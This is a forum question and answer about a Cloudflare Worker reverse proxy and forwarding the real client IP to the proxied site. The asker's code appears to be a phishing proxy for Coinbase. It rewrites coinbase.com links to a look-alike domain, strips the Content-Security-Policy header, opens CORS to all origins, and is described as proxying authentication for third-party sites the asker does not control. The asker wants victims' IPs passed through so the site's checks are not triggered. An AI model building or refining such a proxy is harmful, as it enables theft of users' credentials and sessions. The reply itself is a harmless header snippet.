0

I've a Cloudflare Worker that acts as a proxy for my application. I need this because Cloudflare blocks external requests using curl, or any HTTP request lib. So inside of the Cloudflare network, I'm able to bypass Cloudflare validation for the http://icanhazip.com/.

The problem is, when I configure Cloudflare worker as a proxy and use it in my requests lib Python code, the page gets its real content, but the IP that is showing up by the http://icanhazip.com/ is the Cloudflare worker IP, no my own.

I know that Cloudflare uses CF-Connecting-IP for passing my IP, and when I check in the Worker, my IP is there, but, the page not gets the correct IP.

I've tried X-Forwarded-For, X-Real-IP, True-Client-IP, and other headers to try pass the correct IP.

The problem is, when the proxy is done, I need to use in a real application scenario, when workers will be the proxies for changing authentication, but the applications are from third-party companies, so I've no control over then to pass a custom header with the IP.

Anyone has a idea, how to forward the real user ip, or this is not possible, I've seen the Cloudflare Spectrum, but I don't know, if it fits to my problem.

This is my Worker Code.

const OLD_URL = ".server.com"
const NEW_URL = ".proxied.com"

class AttributeRewriter {
  constructor(attributeName) {
    this.attributeName = attributeName
  }
  element(element) {
    const attribute = element.getAttribute(this.attributeName)
    if (attribute) {
      element.setAttribute(
        this.attributeName,
        attribute.replace(OLD_URL, NEW_URL),
      )
    }
  }
}

const rewriter = new HTMLRewriter()
  .on("a", new AttributeRewriter("href"))
  .on("img", new AttributeRewriter("src"))
  .on("link", new AttributeRewriter("href"))
  .on("object", new AttributeRewriter("src"))

async function forwardReq(request) {
  try{
    let newHdrs = new Headers()
  for (const [key, value] of request.headers) {
    /*if (key.toLowerCase().startsWith('cf-')) {
        continue;
    }*/
    if (key.toLowerCase() == 'x-forwarded-for') {
        continue;
    }
    if (key.toLowerCase() == 'x-real-ip') {
        continue;
    }
    if (key.toLowerCase() == 'content-security-policy') {
        continue;
    }
    newHdrs.set(key, value)
  }
  newHdrs.set('Host', request.url.replace(OLD_URL, NEW_URL))
  newHdrs.set('X-Real-IP', request.headers.get('CF-Connecting-IP'))
  newHdrs.set('X-Fowarded-For', request.headers.get('CF-Connecting-IP'))
  newHdrs.set('True-Client-IP', request.headers.get('CF-Connecting-IP'))
  newHdrs.set('Remote-Addr', request.headers.get('CF-Connecting-IP'))
  newHdrs.set('X-ProxyUser-Ip', request.headers.get('CF-Connecting-IP'))
  newHdrs.set('Via', request.headers.get('CF-Connecting-IP'))

  let address = ''
  const url = new URL(request.url)
  address = request.url.replace(NEW_URL, OLD_URL)

   const init = {
      headers: newHdrs,
      method: request.method
    }

  if (request.method == 'POST') {
    init.body = await request.arrayBuffer()
    init.method = 'CONNECT'
  }
  else {
    init.body = request.body
  }

  let response = await fetch (address, init);
  let html = await response.text()
  
  html = html.replace(/\.coinbase.com/g, NEW_URL)
    
  /*return new Response(JSON.stringify([...response.headers]), {
    headers: response.headers
  })*/
  let newResponse = new Response(html, {
    headers: response.headers
  })
  if (newResponse.headers.get('Referer')) {
      newResponse.headers.set('Referer', newResponse.headers.get('Referer').replace(request.url.hostname, 'www.coinbase.com'))
  }
  if (newResponse.headers.get('Location')) {
      newResponse.headers.set('Location', newResponse.headers.get('Location').replace(request.url.hostname, 'www.coinbase.com'))
  }
  newResponse.headers.set('Access-Control-Allow-Origin', '*')
  newResponse.headers.delete('Content-Security-Policy')
  return newResponse
  }
  catch (e) {
    return new Response(e.message)
  }
}

addEventListener('fetch', event => {
  event.respondWith(forwardReq(event.request))
})

1 Answer 1

1

Not a JS expert so to me, your code seems a bit complex for what you're trying to achieve. We also have a similar requirement to parse the real user IP to our application because of the application logic that depends on it, and when moving to CF we've hit the same wall.

However CF-Connecting-IP worked just fine in our case. We first check if X-Forwarded-For exists and if not define a variable with Cf-Connecting-IP.

async function setRealIP(request) 
{
    var ip=""
    // Get the X-Forwarded-For header if it exists
    ip = request.headers.get("X-Forwarded-For")
    if (!ip) {
       //console.log("X-Forwarded-For was null")
       ip = request.headers.get("Cf-Connecting-Ip")
       //console.log("Getting IP from CF-Connecting-IP:"+ip)
    }
    
    // Add Real IP to header
    request = new Request(request)
    request.headers.set('True-Client-IP', ip)
    
    return request
}

To make things cleaner, we've just put it in a function called setRealIP() and the forwardReq() would just be like this:

async function forwardReq(request) {

    request = await setRealIP(request)
    
    //add redirect logic here

}

Also for the rewrite, try to see if the out of the box feature Cloudflare Transform Rules can help.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.